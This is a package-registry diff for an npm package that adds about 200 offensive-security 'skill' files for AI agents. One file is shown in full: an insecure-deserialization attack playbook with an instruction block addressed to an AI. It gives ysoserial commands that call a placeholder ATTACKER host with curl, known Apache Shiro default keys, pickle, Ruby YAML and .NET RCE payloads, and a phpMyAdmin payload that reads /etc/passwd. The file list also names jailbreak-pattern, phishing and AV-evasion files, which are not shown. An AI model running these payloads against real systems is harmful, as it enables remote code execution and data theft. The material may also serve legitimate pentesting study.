ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,725 @@
1
+ ---
2
+ name: deserialization-insecure
3
+ description: >-
4
+ Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.gated: true
5
+ ---
6
+
7
+ # SKILL: Insecure Deserialization — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ - [jndi-injection](../jndi-injection/SKILL.md) when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
14
+ - [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
15
+ - [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when a WAF blocks your BCEL ClassLoader or Fastjson `@type` payload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
16
+
17
+ ### Advanced Reference
18
+
19
+ Also load [JAVA_GADGET_CHAINS.md](./JAVA_GADGET_CHAINS.md) when you need:
20
+ - Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
21
+ - SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
22
+ - Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
23
+ - .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
24
+ - Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
25
+ - Detection fingerprints: magic bytes table by format (Java `AC ED`, .NET `AAEAAD`, Python pickle `80 0N`, PHP `O:`, Ruby `04 08`)
26
+
27
+ ---
28
+
29
+ ## 1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
30
+
31
+ ### Java Serialized Objects
32
+
33
+ | Indicator | Where to Look |
34
+ |---|---|
35
+ | Hex `ac ed 00 05` | Raw binary in request/response body, cookies, POST params |
36
+ | Base64 `rO0AB` | Cookies (`rememberMe`), hidden form fields, JWT claims |
37
+ | `Content-Type: application/x-java-serialized-object` | HTTP headers |
38
+ | T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
39
+
40
+ ### PHP Serialized Objects
41
+
42
+ | Indicator | Where to Look |
43
+ |---|---|
44
+ | `O:NUMBER:"ClassName"` pattern | POST body, cookies, session files |
45
+ | `a:NUMBER:{` (array) | Same locations |
46
+ | `phar://` URI usage | File operations accepting user-controlled paths |
47
+
48
+ ### Python Pickle
49
+
50
+ | Indicator | Where to Look |
51
+ |---|---|
52
+ | Hex `80 03` or `80 04` (protocol 3/4) | Binary data in requests, message queues |
53
+ | Base64-encoded binary blob | API params, cookies, Redis values |
54
+ | `pickle.loads` / `pickle.load` in source | Code review / whitebox |
55
+
56
+ ---
57
+
58
+ ## 2. JAVA — GADGET CHAINS AND TOOLS
59
+
60
+ ### ysoserial — Primary Tool
61
+
62
+ ```bash
63
+ # Generate payload (example: CommonsCollections1 chain with command)
64
+ java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin
65
+
66
+ # Base64-encode for HTTP transport
67
+ java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
68
+
69
+ # Common chains to try (ordered by frequency of vulnerable dependency):
70
+ # CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
71
+ # Spring1, Spring2 — Spring Framework
72
+ # Groovy1 — Groovy
73
+ # Hibernate1 — Hibernate
74
+ # JBossInterceptors1 — JBoss
75
+ # Jdk7u21 — JDK 7u21 (no extra dependency)
76
+ # URLDNS — DNS-only confirmation (no RCE, works everywhere)
77
+ ```
78
+
79
+ ### URLDNS — Safe Confirmation Probe
80
+
81
+ URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
82
+
83
+ ```bash
84
+ java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
85
+ ```
86
+
87
+ DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
88
+
89
+ ### Commons Collections — The Classic Chain
90
+
91
+ The vulnerability exists when `org.apache.commons.collections` (3.x) is on the classpath and the application calls `readObject()` on untrusted data.
92
+
93
+ Key classes in the chain: `InvokerTransformer` → `ChainedTransformer` → `TransformedMap` → triggers `Runtime.exec()` during deserialization.
94
+
95
+ ### Apache Shiro — rememberMe Deserialization
96
+
97
+ Shiro uses AES-CBC to encrypt serialized Java objects in the `rememberMe` cookie.
98
+
99
+ ```text
100
+ Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
101
+ kPH+bIxk5D2deZiIxcaaaA== # most common default
102
+ wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
103
+ 4AvVhmFLUs0KTA3Kprsdag==
104
+ Z3VucwAAAAAAAAAAAAAAAA==
105
+ ```
106
+
107
+ **Attack flow**:
108
+ 1. Detect: response sets `rememberMe=deleteMe` cookie on invalid session
109
+ 2. Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
110
+ 3. AES-CBC encrypt with known key + random IV
111
+ 4. Base64-encode → set as `rememberMe` cookie value
112
+ 5. Send request → server decrypts → deserializes → RCE
113
+
114
+ **DNSLog confirmation** (before full RCE): use URLDNS chain → `java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"` → encrypt → set cookie → check DNSLog for hit.
115
+
116
+ **Post-fix (random key)**: Key may still leak via padding oracle, or another CVE (SHIRO-721).
117
+
118
+ ### WebLogic Deserialization
119
+
120
+ Multiple vectors:
121
+ - **T3 protocol** (port 7001): direct serialized object injection
122
+ - **XMLDecoder** (CVE-2017-10271): XML-based deserialization via `/wls-wsat/CoordinatorPortType`
123
+ - **IIOP protocol**: alternative to T3
124
+
125
+ ```bash
126
+ # T3 probe — check if T3 is exposed:
127
+ nmap -sV -p 7001 TARGET
128
+ # Look for: "T3" or "WebLogic" in service banner
129
+ ```
130
+
131
+ ### Java RMI Registry
132
+
133
+ RMI Registry (port 1099) accepts serialized objects by design:
134
+
135
+ ```bash
136
+ # ysoserial exploit module for RMI:
137
+ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
138
+
139
+ # Requires: vulnerable library on target's classpath
140
+ # Works on: JDK <= 8u111 without JEP 290 deserialization filter
141
+ ```
142
+
143
+ ### JDK Version Constraints
144
+
145
+ | JDK Version | Impact |
146
+ |---|---|
147
+ | < 8u121 | RMI/LDAP remote class loading works |
148
+ | 8u121-8u190 | `trustURLCodebase=false` for RMI; LDAP still works |
149
+ | >= 8u191 | Both RMI and LDAP remote class loading blocked |
150
+ | >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
151
+
152
+ ---
153
+
154
+ ## 3. PHP — unserialize AND PHAR
155
+
156
+ ### Magic Method Chain
157
+
158
+ PHP deserialization triggers magic methods in order:
159
+
160
+ ```
161
+ __wakeup() → called immediately on unserialize()
162
+ __destruct() → called when object is garbage-collected
163
+ __toString() → called when object is used as string
164
+ __call() → called for inaccessible methods
165
+ ```
166
+
167
+ **Attack**: craft a serialized object whose `__destruct()` or `__wakeup()` triggers dangerous operations (file write, SQL query, command execution, SSRF).
168
+
169
+ ### Serialized Object Format
170
+
171
+ ```php
172
+ O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
173
+ // O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
174
+ ```
175
+
176
+ ### phpMyAdmin Configuration Injection (Real-World Case)
177
+
178
+ phpMyAdmin `PMA_Config` class reads arbitrary files via `source` property:
179
+
180
+ ```text
181
+ action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
182
+ ```
183
+
184
+ ### PHPGGC — PHP Gadget Chain Generator
185
+
186
+ ```bash
187
+ # List available chains:
188
+ phpggc -l
189
+
190
+ # Generate payload (example: Laravel RCE):
191
+ phpggc Laravel/RCE1 system id
192
+
193
+ # Common chains:
194
+ # Laravel/RCE1-10
195
+ # Symfony/RCE1-4
196
+ # Guzzle/RCE1
197
+ # Monolog/RCE1-2
198
+ # WordPress/RCE1
199
+ # Slim/RCE1
200
+ ```
201
+
202
+ ### Phar Deserialization
203
+
204
+ Phar archives contain serialized metadata. Any file operation on a `phar://` URI triggers deserialization — even when `unserialize()` is never directly called.
205
+
206
+ **Triggering functions** (partial list):
207
+ ```
208
+ file_exists() file_get_contents() fopen()
209
+ is_file() is_dir() copy()
210
+ filesize() filetype() stat()
211
+ include() require() getimagesize()
212
+ ```
213
+
214
+ **Attack flow**:
215
+ 1. Upload a valid file (e.g., JPEG with phar polyglot)
216
+ 2. Trigger file operation: `file_exists("phar://uploads/avatar.jpg")`
217
+ 3. PHP deserializes phar metadata → gadget chain executes
218
+
219
+ ```bash
220
+ # Generate phar with PHPGGC:
221
+ phpggc -p phar -o exploit.phar Monolog/RCE1 system id
222
+ ```
223
+
224
+ ---
225
+
226
+ ## 4. PYTHON — PICKLE
227
+
228
+ ### __reduce__ Method
229
+
230
+ Python's `pickle.loads()` calls `__reduce__()` on objects during deserialization, which can return a callable + args:
231
+
232
+ ```python
233
+ import pickle
234
+ import os
235
+
236
+ class Exploit:
237
+ def __reduce__(self):
238
+ return (os.system, ("id",))
239
+
240
+ payload = pickle.dumps(Exploit())
241
+ # Send payload to target that calls pickle.loads()
242
+ ```
243
+
244
+ ### Analyzing Pickle Opcodes
245
+
246
+ ```python
247
+ import pickletools
248
+ pickletools.dis(payload)
249
+ # Shows opcodes: GLOBAL, REDUCE, etc.
250
+ # Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
251
+ ```
252
+
253
+ ### Common Python Deserialization Sinks
254
+
255
+ ```python
256
+ pickle.loads(user_data)
257
+ pickle.load(file_handle)
258
+ yaml.load(data) # PyYAML without Loader=SafeLoader
259
+ jsonpickle.decode(data)
260
+ shelve.open(path)
261
+ ```
262
+
263
+ ### Defensive Bypass: RestrictedUnpickler
264
+
265
+ Even when `RestrictedUnpickler.find_class` is used, check if the whitelist is too broad:
266
+
267
+ ```python
268
+ class RestrictedUnpickler(pickle.Unpickler):
269
+ def find_class(self, module, name):
270
+ if module == "builtins" and name in safe_builtins:
271
+ return getattr(builtins, name)
272
+ raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
273
+ ```
274
+
275
+ If `safe_builtins` includes `eval`, `exec`, or `__import__` → still exploitable.
276
+
277
+ ---
278
+
279
+ ## 5. DETECTION METHODOLOGY
280
+
281
+ ```
282
+ Found binary blob or encoded object in request/cookie?
283
+ ├── Java signature (ac ed / rO0AB)?
284
+ │ ├── Use URLDNS probe for safe confirmation
285
+ │ ├── Identify libraries (error messages, known product)
286
+ │ └── Try ysoserial chains matching identified libraries
287
+
288
+ ├── PHP signature (O:N:"...)?
289
+ │ ├── Identify framework (Laravel, Symfony, WordPress)
290
+ │ ├── Try PHPGGC chains for that framework
291
+ │ └── Check for phar:// wrapper in file operations
292
+
293
+ ├── Python (opaque binary, base64 blob)?
294
+ │ ├── Try pickle payload with DNS callback
295
+ │ └── Check if PyYAML unsafe load is used
296
+
297
+ └── Not sure?
298
+ ├── Try URLDNS payload (Java) — check DNS
299
+ ├── Try PHP serialized test string
300
+ └── Monitor error messages for class loading failures
301
+ ```
302
+
303
+ ---
304
+
305
+ ## 6. DEFENSE AWARENESS
306
+
307
+ | Language | Mitigation |
308
+ |---|---|
309
+ | Java | JEP 290 deserialization filters; whitelist allowed classes; avoid `ObjectInputStream` on untrusted data; use JSON/Protobuf instead |
310
+ | PHP | Avoid `unserialize()` on user input; use `json_decode()` instead; block `phar://` in file operations |
311
+ | Python | Use `pickle` only for trusted data; use `json` for external input; PyYAML: always use `yaml.safe_load()` |
312
+
313
+ ---
314
+
315
+ ## 7. QUICK REFERENCE — KEY PAYLOADS
316
+
317
+ ```text
318
+ # Java — URLDNS confirmation
319
+ java -jar ysoserial.jar URLDNS "http://TOKEN.collab.net"
320
+
321
+ # Java — RCE via CommonsCollections
322
+ java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned"
323
+
324
+ # PHP — Laravel RCE
325
+ phpggc Laravel/RCE1 system "id"
326
+
327
+ # PHP — Phar polyglot
328
+ phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
329
+
330
+ # Python — Pickle RCE
331
+ python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'__reduce__':lambda s:(os.system,('id',))})()).hex())"
332
+
333
+ # Shiro default key test
334
+ rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
335
+ ```
336
+
337
+ ---
338
+
339
+ ## 8. RUBY DESERIALIZATION
340
+
341
+ ### Ruby Marshal
342
+
343
+ - `Marshal.load` on untrusted data → RCE
344
+ - Fingerprint: binary data, no common text header
345
+ - Gadget chains exist for various Ruby versions
346
+ - Docker verification: hex payload via `[hex_string].pack("H*")`
347
+
348
+ ### Ruby YAML (YAML.load)
349
+
350
+ - `YAML.load` (not `YAML.safe_load`) executes arbitrary Ruby objects
351
+ - **Pre Ruby 2.7.2**: `Gem::Requirement` chain → `git_set: id` / `git_set: sleep 600`
352
+ - **Ruby 2.x-3.x**: `Gem::Installer` → `TarReader` → `Kernel#system` chain (longer, multi-step)
353
+ - Always test: `YAML.load("--- !ruby/object:Gem::Installer\ni: x")` for class instantiation check
354
+ - Payload template:
355
+
356
+ ```yaml
357
+ --- !ruby/object:Gem::Requirement
358
+ requirements:
359
+ !ruby/object:Gem::DependencyList
360
+ type: :runtime
361
+ specs:
362
+ - !ruby/object:Gem::StubSpecification
363
+ loaded_from: "|id"
364
+ ```
365
+
366
+ - Note: `YAML.safe_load` is safe (Ruby 2.1+); `Psych.safe_load` also safe
367
+
368
+ ---
369
+
370
+ ## 9. .NET DESERIALIZATION
371
+
372
+ - **Traffic fingerprint**:
373
+ - BinaryFormatter: hex `AAEAAD` (base64 `AAEAAAD/////`)
374
+ - ViewState: hex `FF01` or `/w` prefix
375
+ - JSON.NET: `$type` property in JSON
376
+ - **BinaryFormatter** (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
377
+ - **XmlSerializer**: `ObjectDataProvider` + `XamlReader` chain for command execution
378
+
379
+ ```xml
380
+ <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
381
+ <od:MethodName>Start</od:MethodName>
382
+ <od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
383
+ <od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
384
+ </root>
385
+ ```
386
+
387
+ - **NetDataContractSerializer**: similar to BinaryFormatter, full type info in XML
388
+ - **LosFormatter**: used in ViewState, deserializes to `ObjectStateFormatter`
389
